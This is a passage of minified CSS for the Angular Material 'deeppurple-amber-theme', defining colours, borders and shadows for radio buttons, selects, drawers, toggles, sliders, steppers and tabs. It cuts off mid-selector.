.mat-radio-button.mat-warn .mat-radio-inner-circle,.deeppurple-amber-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.deeppurple-amber-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.deeppurple-amber-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.deeppurple-amber-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.deeppurple-amber-theme .mat-radio-button .mat-ripple-element{background-color:#000}.deeppurple-amber-theme .mat-select-value{color:#000000de}.deeppurple-amber-theme .mat-select-placeholder{color:#0000006b}.deeppurple-amber-theme .mat-select-disabled .mat-select-value{color:#00000061}.deeppurple-amber-theme .mat-select-arrow{color:#0000008a}.deeppurple-amber-theme .mat-select-panel{background:white}.deeppurple-amber-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.deeppurple-amber-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#673ab7}.deeppurple-amber-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#ffa000}.deeppurple-amber-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.deeppurple-amber-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.deeppurple-amber-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.deeppurple-amber-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.deeppurple-amber-theme .mat-drawer{background-color:#fff;color:#000000de}.deeppurple-amber-theme .mat-drawer.mat-drawer-push{background-color:#fff}.deeppurple-amber-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.deeppurple-amber-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-drawer-side.mat-drawer-end,.deeppurple-amber-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.deeppurple-amber-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.deeppurple-amber-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#ffa000}.deeppurple-amber-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#ffa0008a}.deeppurple-amber-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#ffa000}.deeppurple-amber-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#673ab7}.deeppurple-amber-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#673ab78a}.deeppurple-amber-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#673ab7}.deeppurple-amber-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.deeppurple-amber-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.deeppurple-amber-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.deeppurple-amber-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}.deeppurple-amber-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#fafafa}.deeppurple-amber-theme .mat-slide-toggle-bar{background-color:#00000061}.deeppurple-amber-theme .mat-slider-track-background{background-color:#00000042}.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#673ab7}.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.deeppurple-amber-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#673ab733}.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#ffa000}.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#000000de}.deeppurple-amber-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#ffa00033}.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.deeppurple-amber-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.deeppurple-amber-theme .mat-slider:hover .mat-slider-track-background,.deeppurple-amber-theme .mat-slider.cdk-focused .mat-slider-track-background{background-color:#00000061}.deeppurple-amber-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.deeppurple-amber-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.deeppurple-amber-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#00000042}.deeppurple-amber-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#0000001f}.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#000000de}.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#00000042}.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#00000042;background-color:transparent}.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#00000061}.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.deeppurple-amber-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#00000042}.deeppurple-amber-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#000000b3}.deeppurple-amber-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeppurple-amber-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}.deeppurple-amber-theme .mat-step-header.cdk-keyboard-focused,.deeppurple-amber-theme .mat-step-header.cdk-program-focused,.deeppurple-amber-theme .mat-step-header:hover:not([aria-disabled]),.deeppurple-amber-theme .mat-step-header:hover[aria-disabled=false]{background-color:#0000000a}.deeppurple-amber-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.deeppurple-amber-theme .mat-step-header:hover{background:none}}.deeppurple-amber-theme .mat-step-header .mat-step-label,.deeppurple-amber-theme .mat-step-header .mat-step-optional{color:#0000008a}.deeppurple-amber-theme .mat-step-header .mat-step-icon{background-color:#0000008a;color:#fff}.deeppurple-amber-theme .mat-step-header .mat-step-icon-selected,.deeppurple-amber-theme .mat-step-header .mat-step-icon-state-done,.deeppurple-amber-theme .mat-step-header .mat-step-icon-state-edit{background-color:#673ab7;color:#fff}.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon{color:#000000de}.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon-selected,.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.deeppurple-amber-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon-selected,.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.deeppurple-amber-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.deeppurple-amber-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.deeppurple-amber-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.deeppurple-amber-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.deeppurple-amber-theme .mat-stepper-horizontal,.deeppurple-amber-theme .mat-stepper-vertical{background-color:#fff}.deeppurple-amber-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.deeppurple-amber-theme .mat-horizontal-stepper-header:before,.deeppurple-amber-theme .mat-horizontal-stepper-header:after,.deeppurple-amber-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.mat-horizontal-stepper-header{height:72px}.mat-stepper-label-position-bottom .mat-horizontal-stepper-header,.mat-vertical-stepper-header{padding:24px}.mat-stepper-vertical-line:before{top:-16px;bottom:-16px}.mat-stepper-label-position-bottom .mat-horizontal-stepper-header:after,.mat-stepper-label-position-bottom .mat-horizontal-stepper-header:before{top:36px}.mat-stepper-label-position-bottom .mat-stepper-horizontal-line{top:36px}.deeppurple-amber-theme .mat-sort-header-arrow{color:#757575}.deeppurple-amber-theme .mat-tab-nav-bar,.deeppurple-amber-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.deeppurple-amber-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.deeppurple-amber-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.deeppurple-amber-theme .mat-tab-label,.deeppurple-amber-theme .mat-tab-link{color:#000000de}.deeppurple-amber-theme .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.deeppurple-amber-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.deeppurple-amber-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.deeppurple-amber-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#d1c4e94d}.deeppurple-amber-theme .mat-tab-group.mat-primary .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#673ab7}.deeppurple-amber-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffb3004d}.deeppurple-amber-theme .mat-tab-group.mat-accent .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#ffa000}.deeppurple-amber-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#000000de}.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeppurple-amber-theme .mat-tab-group.mat-warn .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.deeppurple-amber-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeppurple-amber-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#d1c4e94d}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#673ab7}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffb3004d}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#ffa000}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#000000de}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#0006}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#000000de}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#000;opacity:.4}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#000;opacity:.12}.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container 